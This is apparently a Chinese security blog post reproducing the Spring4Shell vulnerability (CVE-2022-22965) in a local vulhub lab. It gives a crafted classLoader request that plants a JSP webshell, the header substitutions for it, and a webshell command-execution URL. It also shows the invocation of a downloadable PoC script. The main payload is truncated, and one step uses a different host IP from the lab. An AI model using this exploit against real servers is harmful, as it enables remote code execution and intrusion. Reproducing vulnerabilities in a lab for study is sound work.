Spring Framework遠程代碼執行漏洞_CVE-2022-22965復現
烏鴉安全的技術文章僅供參考,此文所提供的信息只為網絡安全人員對自己所負責的網站、服務器等(包括但不限于)進行檢測或維護參考,未經授權請勿利用文章中的技術資料對任何計算機系統進行入侵操作。利用此文所提供的信息而造成的直接或間接后果和損失,均由使用者本人負責。
烏鴉安全擁有對此文章的修改、刪除和解釋權限,如轉載或傳播此文章,需保證文章的完整性,未經允許,禁止轉載!
本文所提供的工具僅用于學習,禁止用于其他,請在24小時內刪除工具文件!!!
本文首發烏鴉安全知識星球,更新時間:2022.04.01
1. 漏洞介紹
Spring Framework是一個開源應用框架,初衷是為了降低應用程序開發的復雜度,具有分層體系結構,允許用戶選擇組件,同時還為 J2EE 應用程序開發提供了一個好用的框架。當Spring部署在JDK9及以上版本,遠程攻擊者可利用該漏洞寫入惡意代碼導致遠程代碼執行。
2. 漏洞復現
目前可以借助vulhub一鍵復現該漏洞:
https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22965
在當前目錄下使用命令:docker-compose up -d即可一鍵開啟環境:

看到當前的端口開在了8080:

打開頁面之后,可以看到當前服務已經起來了:
http://127.0.0.1:8080/

按照作者的鏈接:
http://127.0.0.1:8080/?name=Bob&age=25
出現頁面:

然后根據提示,構造請求地址:(方法不唯一)
http://127.0.0.1:8080/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25
該請求發出之后,需要進行變換:

紅色部分替換為:
suffix: %>// c1: Runtime c2: <% DNT: 1 Content-Length: 2
效果查看下圖:

然后訪問:
http://10.30.2.146:8080//tomcatwar.jsp?pwd=j&cmd=whoami
執行命令即可!
注意,在這里的多次執行會不斷的往日志寫文件,請勿頻繁操作!
3. 工具版
工具:因為考慮到現在的大環境,這里提供的工具僅僅能夠在當前環境下使用,不能在其他的環境中使用!
請在后臺回復關鍵字:spring 下載
直接執行腳本即可:
python3 vulhub_CVE-2022-22965_poc.py --url=http://127.0.0.1:8080

執行效果:

同樣,不要多次執行!
4. 注意事項
不要頻繁的往里面寫,不然日志文件會炸,消除方法就是使用get請求(vulhub專屬),停止寫日志:
http://127.0.0.1:8080/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=
